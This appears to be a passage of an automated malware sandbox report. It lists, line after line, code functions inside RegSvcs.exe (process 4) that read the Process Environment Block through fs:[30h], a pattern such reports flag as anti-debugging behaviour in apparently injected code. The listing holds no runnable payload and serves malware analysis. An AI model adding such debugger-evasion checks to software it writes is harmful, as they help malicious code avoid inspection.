            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014F27ED mov eax, dword ptr fs:[00000030h]4_2_014F27ED
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0155E7E1 mov eax, dword ptr fs:[00000030h]4_2_0155E7E1
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D47FB mov eax, dword ptr fs:[00000030h]4_2_014D47FB
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D47FB mov eax, dword ptr fs:[00000030h]4_2_014D47FB
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157678E mov eax, dword ptr fs:[00000030h]4_2_0157678E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D07AF mov eax, dword ptr fs:[00000030h]4_2_014D07AF
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015847A0 mov eax, dword ptr fs:[00000030h]4_2_015847A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014EC640 mov eax, dword ptr fs:[00000030h]4_2_014EC640
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01502674 mov eax, dword ptr fs:[00000030h]4_2_01502674
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150A660 mov eax, dword ptr fs:[00000030h]4_2_0150A660
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150A660 mov eax, dword ptr fs:[00000030h]4_2_0150A660
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0159866E mov eax, dword ptr fs:[00000030h]4_2_0159866E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0159866E mov eax, dword ptr fs:[00000030h]4_2_0159866E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E260B mov eax, dword ptr fs:[00000030h]4_2_014E260B
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E260B mov eax, dword ptr fs:[00000030h]4_2_014E260B
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E260B mov eax, dword ptr fs:[00000030h]4_2_014E260B
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E260B mov eax, dword ptr fs:[00000030h]4_2_014E260B
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E260B mov eax, dword ptr fs:[00000030h]4_2_014E260B
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E260B mov eax, dword ptr fs:[00000030h]4_2_014E260B
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E260B mov eax, dword ptr fs:[00000030h]4_2_014E260B
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01512619 mov eax, dword ptr fs:[00000030h]4_2_01512619
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0154E609 mov eax, dword ptr fs:[00000030h]4_2_0154E609
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D262C mov eax, dword ptr fs:[00000030h]4_2_014D262C
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014EE627 mov eax, dword ptr fs:[00000030h]4_2_014EE627
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01506620 mov eax, dword ptr fs:[00000030h]4_2_01506620
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01508620 mov eax, dword ptr fs:[00000030h]4_2_01508620
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150A6C7 mov ebx, dword ptr fs:[00000030h]4_2_0150A6C7
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150A6C7 mov eax, dword ptr fs:[00000030h]4_2_0150A6C7
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015506F1 mov eax, dword ptr fs:[00000030h]4_2_015506F1
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015506F1 mov eax, dword ptr fs:[00000030h]4_2_015506F1
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0154E6F2 mov eax, dword ptr fs:[00000030h]4_2_0154E6F2
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0154E6F2 mov eax, dword ptr fs:[00000030h]4_2_0154E6F2
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0154E6F2 mov eax, dword ptr fs:[00000030h]4_2_0154E6F2
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0154E6F2 mov eax, dword ptr fs:[00000030h]4_2_0154E6F2
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D4690 mov eax, dword ptr fs:[00000030h]4_2_014D4690
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D4690 mov eax, dword ptr fs:[00000030h]4_2_014D4690
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015066B0 mov eax, dword ptr fs:[00000030h]4_2_015066B0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150C6A6 mov eax, dword ptr fs:[00000030h]4_2_0150C6A6
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01550946 mov eax, dword ptr fs:[00000030h]4_2_01550946
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A4940 mov eax, dword ptr fs:[00000030h]4_2_015A4940
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0155C97C mov eax, dword ptr fs:[00000030h]4_2_0155C97C
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014F6962 mov eax, dword ptr fs:[00000030h]4_2_014F6962
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014F6962 mov eax, dword ptr fs:[00000030h]4_2_014F6962
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014F6962 mov eax, dword ptr fs:[00000030h]4_2_014F6962
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01574978 mov eax, dword ptr fs:[00000030h]4_2_01574978
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01574978 mov eax, dword ptr fs:[00000030h]4_2_01574978
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0151096E mov eax, dword ptr fs:[00000030h]4_2_0151096E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0151096E mov edx, dword ptr fs:[00000030h]4_2_0151096E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0151096E mov eax, dword ptr fs:[00000030h]4_2_0151096E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0155C912 mov eax, dword ptr fs:[00000030h]4_2_0155C912
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014C8918 mov eax, dword ptr fs:[00000030h]4_2_014C8918
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014C8918 mov eax, dword ptr fs:[00000030h]4_2_014C8918
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0154E908 mov eax, dword ptr fs:[00000030h]4_2_0154E908
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0154E908 mov eax, dword ptr fs:[00000030h]4_2_0154E908
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0156892B mov eax, dword ptr fs:[00000030h]4_2_0156892B
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0155892A mov eax, dword ptr fs:[00000030h]4_2_0155892A
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015049D0 mov eax, dword ptr fs:[00000030h]4_2_015049D0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0159A9D3 mov eax, dword ptr fs:[00000030h]4_2_0159A9D3
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015669C0 mov eax, dword ptr fs:[00000030h]4_2_015669C0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014DA9D0 mov eax, dword ptr fs:[00000030h]4_2_014DA9D0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014DA9D0 mov eax, dword ptr fs:[00000030h]4_2_014DA9D0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014DA9D0 mov eax, dword ptr fs:[00000030h]4_2_014DA9D0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014DA9D0 mov eax, dword ptr fs:[00000030h]4_2_014DA9D0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014DA9D0 mov eax, dword ptr fs:[00000030h]4_2_014DA9D0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014DA9D0 mov eax, dword ptr fs:[00000030h]4_2_014DA9D0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015029F9 mov eax, dword ptr fs:[00000030h]4_2_015029F9
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015029F9 mov eax, dword ptr fs:[00000030h]4_2_015029F9
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0155E9E0 mov eax, dword ptr fs:[00000030h]4_2_0155E9E0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D09AD mov eax, dword ptr fs:[00000030h]4_2_014D09AD
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D09AD mov eax, dword ptr fs:[00000030h]4_2_014D09AD
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015589B3 mov esi, dword ptr fs:[00000030h]4_2_015589B3
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015589B3 mov eax, dword ptr fs:[00000030h]4_2_015589B3
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015589B3 mov eax, dword ptr fs:[00000030h]4_2_015589B3
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E29A0 mov eax, dword ptr fs:[00000030h]4_2_014E29A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E29A0 mov eax, dword ptr fs:[00000030h]4_2_014E29A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E29A0 mov eax, dword ptr fs:[00000030h]4_2_014E29A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E29A0 mov eax, dword ptr fs:[00000030h]4_2_014E29A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E29A0 mov eax, dword ptr fs:[00000030h]4_2_014E29A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E29A0 mov eax, dword ptr fs:[00000030h]4_2_014E29A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E29A0 mov eax, dword ptr fs:[00000030h]4_2_014E29A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E29A0 mov eax, dword ptr fs:[00000030h]4_2_014E29A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E29A0 mov eax, dword ptr fs:[00000030h]4_2_014E29A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E29A0 mov eax, dword ptr fs:[00000030h]4_2_014E29A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E29A0 mov eax, dword ptr fs:[00000030h]4_2_014E29A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E29A0 mov eax, dword ptr fs:[00000030h]4_2_014E29A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E29A0 mov eax, dword ptr fs:[00000030h]4_2_014E29A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01500854 mov eax, dword ptr fs:[00000030h]4_2_01500854
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E2840 mov ecx, dword ptr fs:[00000030h]4_2_014E2840
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D4859 mov eax, dword ptr fs:[00000030h]4_2_014D4859
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D4859 mov eax, dword ptr fs:[00000030h]4_2_014D4859
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01566870 mov eax, dword ptr fs:[00000030h]4_2_01566870
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01566870 mov eax, dword ptr fs:[00000030h]4_2_01566870
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0155E872 mov eax, dword ptr fs:[00000030h]4_2_0155E872
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0155E872 mov eax, dword ptr fs:[00000030h]4_2_0155E872
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0155C810 mov eax, dword ptr fs:[00000030h]4_2_0155C810
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150A830 mov eax, dword ptr fs:[00000030h]4_2_0150A830
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157483A mov eax, dword ptr fs:[00000030h]4_2_0157483A
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157483A mov eax, dword ptr fs:[00000030h]4_2_0157483A
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014F2835 mov eax, dword ptr fs:[00000030h]4_2_014F2835
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014F2835 mov eax, dword ptr fs:[00000030h]4_2_014F2835
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014F2835 mov eax, dword ptr fs:[00000030h]4_2_014F2835
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014F2835 mov ecx, dword ptr fs:[00000030h]4_2_014F2835
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014F2835 mov eax, dword ptr fs:[00000030h]4_2_014F2835
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014F2835 mov eax, dword ptr fs:[00000030h]4_2_014F2835
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014FE8C0 mov eax, dword ptr fs:[00000030h]4_2_014FE8C0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A08C0 mov eax, dword ptr fs:[00000030h]4_2_015A08C0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150C8F9 mov eax, dword ptr fs:[00000030h]4_2_0150C8F9
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150C8F9 mov eax, dword ptr fs:[00000030h]4_2_0150C8F9
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0159A8E4 mov eax, dword ptr fs:[00000030h]4_2_0159A8E4
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0155C89D mov eax, dword ptr fs:[00000030h]4_2_0155C89D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D0887 mov eax, dword ptr fs:[00000030h]4_2_014D0887
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157EB50 mov eax, dword ptr fs:[00000030h]4_2_0157EB50
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A2B57 mov eax, dword ptr fs:[00000030h]4_2_015A2B57
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A2B57 mov eax, dword ptr fs:[00000030h]4_2_015A2B57
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A2B57 mov eax, dword ptr fs:[00000030h]4_2_015A2B57
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A2B57 mov eax, dword ptr fs:[00000030h]4_2_015A2B57
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01584B4B mov eax, dword ptr fs:[00000030h]4_2_01584B4B
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01584B4B mov eax, dword ptr fs:[00000030h]4_2_01584B4B
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01578B42 mov eax, dword ptr fs:[00000030h]4_2_01578B42
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01566B40 mov eax, dword ptr fs:[00000030h]4_2_01566B40
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01566B40 mov eax, dword ptr fs:[00000030h]4_2_01566B40
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0159AB40 mov eax, dword ptr fs:[00000030h]4_2_0159AB40
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014C8B50 mov eax, dword ptr fs:[00000030h]4_2_014C8B50
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014CCB7E mov eax, dword ptr fs:[00000030h]4_2_014CCB7E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0154EB1D mov eax, dword ptr fs:[00000030h]4_2_0154EB1D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0154EB1D mov eax, dword ptr fs:[00000030h]4_2_0154EB1D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0154EB1D mov eax, dword ptr fs:[00000030h]4_2_0154EB1D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0154EB1D mov eax, dword ptr fs:[00000030h]4_2_0154EB1D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0154EB1D mov eax, dword ptr fs:[00000030h]4_2_0154EB1D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0154EB1D mov eax, dword ptr fs:[00000030h]4_2_0154EB1D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0154EB1D mov eax, dword ptr fs:[00000030h]4_2_0154EB1D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0154EB1D mov eax, dword ptr fs:[00000030h]4_2_0154EB1D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0154EB1D mov eax, dword ptr fs:[00000030h]4_2_0154EB1D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_015A4B00 mov eax, dword ptr fs:[00000030h]4_2_015A4B00
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014FEB20 mov eax, dword ptr fs:[00000030h]4_2_014FEB20
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014FEB20 mov eax, dword ptr fs:[00000030h]4_2_014FEB20
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01598B28 mov eax, dword ptr fs:[00000030h]4_2_01598B28
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01598B28 mov eax, dword ptr fs:[00000030h]4_2_01598B28
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D0BCD mov eax, dword ptr fs:[00000030h]4_2_014D0BCD
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D0BCD mov eax, dword ptr fs:[00000030h]4_2_014D0BCD
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D0BCD mov eax, dword ptr fs:[00000030h]4_2_014D0BCD
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014F0BCB mov eax, dword ptr fs:[00000030h]4_2_014F0BCB
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014F0BCB mov eax, dword ptr fs:[00000030h]4_2_014F0BCB
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014F0BCB mov eax, dword ptr fs:[00000030h]4_2_014F0BCB
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157EBD0 mov eax, dword ptr fs:[00000030h]4_2_0157EBD0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0155CBF0 mov eax, dword ptr fs:[00000030h]4_2_0155CBF0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014FEBFC mov eax, dword ptr fs:[00000030h]4_2_014FEBFC
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D8BF0 mov eax, dword ptr fs:[00000030h]4_2_014D8BF0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D8BF0 mov eax, dword ptr fs:[00000030h]4_2_014D8BF0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D8BF0 mov eax, dword ptr fs:[00000030h]4_2_014D8BF0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01584BB0 mov eax, dword ptr fs:[00000030h]4_2_01584BB0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01584BB0 mov eax, dword ptr fs:[00000030h]4_2_01584BB0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E0BBE mov eax, dword ptr fs:[00000030h]4_2_014E0BBE
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E0BBE mov eax, dword ptr fs:[00000030h]4_2_014E0BBE
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E0A5B mov eax, dword ptr fs:[00000030h]4_2_014E0A5B
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E0A5B mov eax, dword ptr fs:[00000030h]4_2_014E0A5B
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D6A50 mov eax, dword ptr fs:[00000030h]4_2_014D6A50
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D6A50 mov eax, dword ptr fs:[00000030h]4_2_014D6A50
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D6A50 mov eax, dword ptr fs:[00000030h]4_2_014D6A50
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D6A50 mov eax, dword ptr fs:[00000030h]4_2_014D6A50
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D6A50 mov eax, dword ptr fs:[00000030h]4_2_014D6A50
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D6A50 mov eax, dword ptr fs:[00000030h]4_2_014D6A50
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D6A50 mov eax, dword ptr fs:[00000030h]4_2_014D6A50
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0154CA72 mov eax, dword ptr fs:[00000030h]4_2_0154CA72
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0154CA72 mov eax, dword ptr fs:[00000030h]4_2_0154CA72
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157EA60 mov eax, dword ptr fs:[00000030h]4_2_0157EA60
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150CA6F mov eax, dword ptr fs:[00000030h]4_2_0150CA6F
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150CA6F mov eax, dword ptr fs:[00000030h]4_2_0150CA6F
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150CA6F mov eax, dword ptr fs:[00000030h]4_2_0150CA6F
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0155CA11 mov eax, dword ptr fs:[00000030h]4_2_0155CA11
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014FEA2E mov eax, dword ptr fs:[00000030h]4_2_014FEA2E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150CA38 mov eax, dword ptr fs:[00000030h]4_2_0150CA38
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0150CA24 mov eax, dword ptr fs:[00000030h]4_2_0150CA24
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014F4A35 mov eax, dword ptr fs:[00000030h]4_2_014F4A35
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014F4A35 mov eax, dword ptr fs:[00000030h]4_2_014F4A35
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01504AD0 mov eax, dword ptr fs:[00000030h]4_2_01504AD0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01504AD0 mov eax, dword ptr fs:[00000030h]4_2_01504AD0
